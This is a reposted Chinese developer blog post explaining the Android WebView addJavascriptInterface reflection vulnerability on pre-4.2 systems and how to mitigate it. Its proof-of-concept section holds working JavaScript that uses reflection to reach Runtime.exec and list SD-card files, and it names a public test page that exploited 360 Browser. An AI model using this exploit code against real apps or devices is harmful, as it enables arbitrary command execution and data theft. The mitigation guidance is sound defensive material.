`

Android WebView的Js对象注入漏洞解决方案【转】

Android 
阅读更多

最近在做一个项目过程中，发现了一个很严重的安全漏洞，这个漏洞是乌云平台（http://www.wooyun.org）报告出来的。

1，使用场景

我们很多时候要使用WebView来展示一个网页，现在很多应用为了做到服务端可控，很多结果页都是网页的，而不是本地实现，这样做有很多好处，比如界面的改变不需要重新发布新版本，直接在Server端修改就行了。用网页来展示界面，通常情况下都或多或少都与Java代码有交互，比如点击网页上面的一个按钮，我们需要知道这个按钮点击事件，或者我们要调用某个方法，让页面执行某种动作，为了实现这些交互，我们通常都是使用JS来实现，而WebView已经提供了这样的方法，具体用法如下：
[java] view plaincopy
 
  1. mWebView.getSettings().setJavaScriptEnabled(true);  
  2. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
我们向WebView注册一个名叫“jsInterface”的对象，然后在JS中可以访问到jsInterface这个对象，就可以调用这个对象的一些方法，最终可以调用到Java代码中，从而实现了JS与Java代码的交互。
我们一起来看看关于addJavascriptInterface方法在Android官网的描述：
  • This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
  • The Java object's fields are not accessible.
 
简单地说，就是用addJavascriptInterface可能导致不安全，因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个，当JS包含恶意代码时，它可以干任何事情。
 

2，漏洞描述

通过JavaScript，可以访问当前设备的SD卡上面的任何东西，甚至是联系人信息，短信等。这很恶心吧，嘎嘎。好，我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述：猛点这里
1，WebView添加了JavaScript对象，并且当前应用具有读写SDCard的权限，也就是：android.permission.WRITE_EXTERNAL_STORAGE
2，JS中可以遍历window对象，找到存在“getClass”方法的对象的对象，然后再通过反射的机制，得到Runtime对象，然后调用静态方法来执行一些命令，比如访问文件的命令.
3，再从执行命令后返回的输入流中得到字符串，就可以得到文件名的信息了。然后想干什么就干什么，好危险。核心JS代码如下：
[javascript] view plaincopy
 
  1. function execute(cmdArgs)  
  2. {  
  3.     for (var obj in window) {  
  4.         if ("getClass" in window[obj]) {  
  5.             alert(obj);  
  6.             return  window[obj].getClass().forName("java.lang.Runtime")  
  7.                  .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
  8.         }  
  9.     }  
  10. }   

3，漏洞证明

举例一：为了证明这个漏洞，写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页，HTML其代码如下：
[html] view plaincopy
 
  1. <html>  
  2.   <head>  
  3.     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  
  4.     <script>  
  5.       var i=0;  
  6.       function getContents(inputStream)  
  7.       {  
  8.         var contents = ""+i;  
  9.         var b = inputStream.read();  
  10.         var i = 1;  
  11.         while(b != -1) {  
  12.             var bString = String.fromCharCode(b);  
  13.             contents += bString;  
  14.             contents += "\n"  
  15.             b = inputStream.read();  
  16.         }  
  17.         i=i+1;  
  18.         return contents;  
  19.        }  
  20.         
  21.        function execute(cmdArgs)  
  22.        {  
  23.         for (var obj in window) {  
  24.             console.log(obj);  
  25.             if ("getClass" in window[obj]) {  
  26.                 alert(obj);  
  27.                 return window[obj].getClass().forName("java.lang.Runtime").  
  28.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
  29.              }  
  30.          }  
  31.        }   
  32.         
  33.       var p = execute(["ls","/mnt/sdcard/"]);  
  34.       document.write(getContents(p.getInputStream()));  
  35.     </script>  
  36.   
  37.     <script language="javascript">  
  38.       function onButtonClick()   
  39.       {  
  40.         // Call the method of injected object from Android source.  
  41.         var text = jsInterface.onButtonClick("从JS中传递过来的文本！！！");  
  42.         alert(text);  
  43.       }  
  44.   
  45.       function onImageClick()   
  46.       {  
  47.         //Call the method of injected object from Android source.  
  48.         var src = document.getElementById("image").src;  
  49.         var width = document.getElementById("image").width;  
  50.         var height = document.getElementById("image").height;  
  51.   
  52.         // Call the method of injected object from Android source.  
  53.         jsInterface.onImageClick(src, width, height);  
  54.       }  
  55.     </script>  
  56.   </head>  
  57.   
  58.   <body>  
  59.       <p>点击图片把URL传到Java代码</p>  
  60.       <img class="curved_box" id="image"   
  61.          onclick="onImageClick()"  
  62.          width="328"  
  63.          height="185"  
  64.          src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"  
  65.          onerror="this.src='background_chl.jpg'"/>  
  66.     </p>  
  67.     <button type="button" onclick="onButtonClick()">与Java代码交互</button>  
  68.   </body>  
  69. </html>  
这段HTML的运行效果如下：
图一：期望运行结果图
 
上图中，点击按钮后，JS中传递 一段文本到Java代码，显示一下个toast，点击图片后，把图片的URL，width，height传到Java层，也用toast显示出来。
要实现这样的功能，就需要注Java对象。
 
简单说明一下
1，请看execute()这个方法，它遍历所有window的对象，然后找到包含getClass方法的对象，利用这个对象的类，找到java.lang.Runtime对象，然后调用“getRuntime”静态方法方法得到Runtime的实例，再调用exec()方法来执行某段命令。
2，getContents()方法，从流中读取内容，显示在界面上。
3，关键的代码就是以下两句
[javascript] view plaincopy
 
  1. return window[obj].getClass().forName("java.lang.Runtime").  
  2.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
Java代码实现如下：
[java] view plaincopy
 
  1. mWebView = (WebView) findViewById(R.id.webview);  
  2. mWebView.getSettings().setJavaScriptEnabled(true);  
  3. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
  4. mWebView.loadUrl("file:///android_asset/html/test.html");  
需要添加的权限：
[html] view plaincopy
 
  1. <uses-permission android:name="android.permission.INTERNET"/>  
  2. <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  
  3. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  
当点击LOAD菜单后，运行截图如下：（理论上应该出现图一界面）
图二：实际运行结果，列出了SDCard中的文件
 
举例二：360浏览器也存在这个问题，我测试的系统是android 4.0.2，360浏览器版本是：4.8.7
在浏览器输入框中输入：http://bitkiller.duapp.com/jsobj.html，然后前往，它会出现如下的界面
图三：360浏览器运行结果
说明：其中searchBoxJavaBridge_不是360注入的对象，而是WebView内部注入的，这是在3.0以后的Android系统上添加的。
 
在关闭这个对话框之后，它会列出当前SDCard上面的所有文件列表，如下图所示
图四：错误结果
 

4，解决方案

1，Android 4.2以上的系统
在Android 4.2以上的，google作了修正，通过在Java的远程方法上面声明一个@JavascriptInterface，如下面代码：
[java] view plaincopy
 
  1. class JsObject {  
  2.    @JavascriptInterface  
  3.    public String toString() { return "injectedObject"; }  
  4. }  
  5. webView.addJavascriptInterface(new JsObject(), "injectedObject");  
  6. webView.loadData("", "text/html", null);  
  7. webView.loadUrl("javascript:alert(injectedObject.toString())");  
2，Android 4.2以下的系统
这个问题比较难解决，但也不是不能解决。
首先，我们肯定不能再调用addJavascriptInterface方法了。关于这个问题，最核心的就是要知道JS事件这一个动作，JS与Java进行交互我们知道，有以下几种，比prompt, alert等，这样的动作都会对应到WebChromeClient类中相应的方法，对于prompt，它对应的方法是onJsPrompt方法，这个方法的声明如下：
[java] view plaincopy
 
  1. public boolean onJsPrompt(WebView view, String url, String message,   
  2.     String defaultValue, JsPromptResult result)  
通过这个方法，JS能把信息（文本）传递到Java，而Java也能把信息（文本）传递到JS中，通知这个思路我们能不能找到解决方案呢？
经过一番尝试与分析，找到一种比较可行的方案，请看下面几个小点：
【1】让JS调用一个Javascript方法，这个方法中是调用prompt方法，通过prompt把JS中的信息传递过来，这些信息应该是我们组合成的一段有意义的文本，可能包含：特定标识，方法名称，参数等。在onJsPrompt方法中，我们去解析传递过来的文本，得到方法名，参数等，再通过反射机制，调用指定的方法，从而调用到Java对象的方法。
【2】关于返回值，可以通过prompt返回回去，这样就可以把Java中方法的处理结果返回到Js中。
【3】我们需要动态生成一段声明Javascript方法的JS脚本，通过loadUrl来加载它，从而注册到html页面中，具体的代码如下：
[javascript] view plaincopy
 
  1. javascript:(function JsAddJavascriptInterface_(){  
  2.     if (typeof(window.jsInterface)!='undefined') {      
  3.         console.log('window.jsInterface_js_interface_name is exist!!');}   
  4.     else {  
  5.         window.jsInterface = {          
  6.             onButtonClick:function(arg0) {   
  7.                 return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));  
  8.             },  
  9.               
  10.             onImageClick:function(arg0,arg1,arg2) {   
  11.                 prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));  
  12.             },  
  13.         };  
  14.     }  
  15. }  
  16. )()  
说明：
1，上面代码中的jsInterface就是要注册的对象名，它注册了两个方法，onButtonClick(arg0)和onImageClick(arg0, arg1, arg2)，如果有返回值，就添加上return。
2，prompt中是我们约定的字符串，它包含特定的标识符MyApp:，后面包含了一串JSON字符串，它包含了方法名，参数，对象名等。
3，当JS调用onButtonClick或onImageClick时，就会回调到Java层中的onJsPrompt方法，我们再解析出方法名，参数，对象名，再反射调用方法。
4，window.jsInterface这表示在window上声明了一个Js对象，声明方法的形式是：方法名:function(参数1，参数2) 
 

5，一些思考

以下是在实现这个解决方案过程中遇到的一些问题和思考：
【1】生成Js方法后，加载这段Js的时机是什么？
刚开始时在当WebView正常加载URL后去加载Js，但发现会存在问题，如果当WebView跳转到下一个页面时，之前加载的Js就可能无效了，所以需要再次加载。这个问题经过尝试，需要在以下几个方法中加载Js，它们是WebChromeClient和WebViewClient的方法：
  • onLoadResource
  • doUpdateVisitedHistory
  • onPageStarted
  • onPageFinished
  • onReceivedTitle
  • onProgressChanged
目前测试了这几个地方，没什么问题，这里我也不能完全确保没有问题。
 
【2】需要过滤掉Object类的方法
由于通过反射的形式来得到指定对象的方法，他会把基类的方法也会得到，最顶层的基类就是Object，所以我们为了不把getClass方法注入到Js中，所以我们需要把Object的公有方法过滤掉。这里严格说来，应该有一个需要过滤方法的列表。目前我的实现中，需要过滤的方法有：
        "getClass",
        "hashCode",
        "notify",
        "notifyAll",
        "equals",
        "toString",
        "wait",
 
【3】通过手动loadUrl来加载一段js，这种方式难道js中的对象就不在window中吗？也就是说，通过遍历window的对象，不能找到我们通过loadUrl注入的js对象吗？
关于这个问题，我们的方法是通过Js声明的，通过loadUrl的形式来注入到页面中，其实本质相当于把我们这动态生成的这一段Js直接写在Html页面中，所以，这些Js中的window中虽然包含了我们声明的对象，但是他们并不是Java对象，他们是通过Js语法声明的，所以不存在getClass之类的方法。本质上他们是Js对象。
 
【4】在Android 3.0以下，系统自己添加了一个叫searchBoxJavaBridge_的Js接口，要解决这个安全问题，我们也需要把这个接口删除，调用removeJavascriptInterface方法。这个searchBoxJavaBridge_好像是跟google的搜索框相关的。
 
【5】在实现过程中，我们需要判断系统版本是否在4.2以下，因为在4.2以上，Android修复了这个安全问题。我们只是需要针对4.2以下的系统作修复。
 
 
转自：http://blog.csdn.net/leehong2005/article/details/11808557#comments
感谢CSDN的leehong2005无私分享
 
分享到：
| 长按事件自定义
评论
发表评论

您还没有登录,请您登录后再发表评论

相关推荐

    android webview 图片上传 4.4解决方案 防js注入webview

    Android Webview upload 图片上传 ! 导读: ...扩充 webview 防止js注入 解决 android webview 在4.4系统上无法使用情况 博客地址 : http://blog.csdn.net/aaawqqq/article/details/51087805

    android webview input=file 失效解决方案

    在Android开发中，Webview是一个重要的组件，它允许我们在原生应用中内嵌网页内容，提供混合式应用的用户体验。然而，在使用Webview时，有时会遇到一个问题：当HTML页面中包含`&lt;input type="file"&gt;`用于上传文件的...

    通过css注入实现android webview的夜间模式

    本篇将详细介绍如何利用CSS注入来实现在Android Webview中切换到夜间模式。 首先，我们需要理解CSS注入的概念。CSS（Cascading Style Sheets）是用于描述HTML或XML（包括如SVG、MathML等各种XML方言）文档样式的...

    实例详解Android Webview拦截ajax请求

    在 Native 端，我们需要实现一个 JavaScript Interface，例如 onAjaxRequest 方法，该方法将接收 Fly.js 传来的请求对象，并完成真正的请求后，将响应对象通过 handler 返回给 Fly.js。 通过这种方式，我们就可以...

    Android webview 内存泄露的解决方法

    Android webview 内存泄露的解决方法 最近在activity嵌套webview显示大量图文发现APP内存一直在涨，没法释放内存，查了很多资料，大概是webview的一个BUG，引用了activity导致内存泄漏，所以就尝试传递...

    Android webView安全漏洞解决

    Android webView安全漏洞解决 1. 解决CVE(通用漏洞与披露)中记录WebView的4个漏洞 2.解决 WebView File域同源策略绕过漏洞 3.解决 WebView 密码存储漏洞

    android WebView js漏洞预防的方案例子

    本文将详细介绍如何预防Android WebView中的JavaScript漏洞，并给出具体的实现例子。 首先，我们需要理解WebView可能面临的威胁。常见的JavaScript漏洞包括跨站脚本攻击(XSS)、点击劫持、恶意代码注入等。这些漏洞...

    AndroidWebView安全漏洞解决方案.docx

    ### Android WebView 安全漏洞及解决方案 #### 一、引言 随着移动互联网的发展，WebView 成为安卓应用程序中不可或缺的一部分，用于加载和显示 Web 页面。然而，近年来不断曝出的安全漏洞给开发者带来了挑战。本文...

    Android WebView 去除标题

    本篇文章将详细探讨如何在Android的WebView中移除标题，并利用JavaScript进行交互。 首先，我们需要了解WebView的基本用法。在Android中，我们可以通过以下方式创建一个WebView： ```java WebView webView = new ...

    Android webview注入JS代码 修改网页内容操作

    "Android webview注入JS代码 修改网页内容操作" Android webview注入JS代码 修改网页内容操作是Android开发中的一种常见操作，主要用于修改网页的内容以达到特定的效果。下面是关于Android webview注入JS代码 修改...

    Android WebViewJS应用源码.zip

    【Android WebViewJS应用源码.zip】是一个包含有关在Android应用程序中使用WebView与JavaScript交互的源码项目。这个项目旨在帮助开发者了解如何通过Android的WebView组件与网页中的JavaScript进行通信，以便实现更...

    Android webview与js交互

    本节我们将深入探讨Android WebView与JavaScript之间的交互机制，以及如何实现两者之间的通信。 一、WebView基本使用 在Android中，首先需要在布局文件中添加WebView组件，并在Java代码中初始化和加载网页： ```...

    android webview与js交互简单demo

    当Android的WebView与JavaScript交互时，开发者可以实现更丰富的功能，如调用Android原生方法、获取网页数据等。下面我们将深入探讨这个“android webview与js交互简单demo”所涉及的知识点。 1. Android WebView...

    android webview js交互， 响应webview中的图片点击事件

    这允许我们在JavaScript代码中调用Android Java对象的方法。例如，我们创建一个接口来处理图片点击事件： ```java public class JavaScriptBridge { @JavascriptInterface public void handleImageClick(String ...

    android中WebView回调js的方法

    有时候，我们不仅需要在Android代码中调用JavaScript，还需要让JavaScript能够反过来调用Android的Java方法，这种交互被称为"WebView与JavaScript的互调"。本文将深入探讨在Android中如何实现WebView回调JavaScript...

    动态设置android webview字体大小DEMO

    总的来说，动态设置Android WebView字体大小是通过JavaScript接口和Java代码协同实现的，为用户提供了一种自定义网页阅读体验的方式。这个DEMO项目可以帮助开发者理解和实践这一功能，以便在自己的应用中集成。

    android使用webView实现java程序与js脚本的相互调用

    同时，WebView还提供了Java代码与JavaScript交互的能力，使得我们可以利用JavaScript的灵活性和Android原生功能的强大结合，创建出丰富的混合应用。本文将详细介绍如何在Android中使用WebView实现Java程序与JS脚本的...

    Android Webview视频播放器

    在Android平台上，Webview是一个非常重要的组件，它允许开发者在原生应用中嵌入网页内容。这个项目"Android Webview视频播放器"是利用Webview来实现HTML5视频播放功能的示例。以下是对这个项目的详细解读： 1. **...

    Android webview加载网页.zip

    8. **注入自定义JavaScript接口**：通过`addJavascriptInterface()`方法，可以让JavaScript与Android原生代码交互。但需要注意安全问题，避免注入敏感接口。 9. **缓存策略**：使用`setCacheMode()`可以设置WebView...

Magicbox
Global site tag (gtag.js) - Google Analytics